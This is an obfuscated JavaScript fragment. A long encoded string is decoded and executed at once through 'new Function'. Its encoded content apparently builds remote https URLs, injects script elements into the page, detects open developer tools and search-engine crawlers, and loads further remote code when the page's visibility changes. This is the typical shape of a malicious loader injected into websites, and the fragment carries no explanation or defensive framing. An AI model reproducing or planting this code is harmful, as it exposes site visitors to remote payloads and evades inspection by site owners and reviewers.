TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();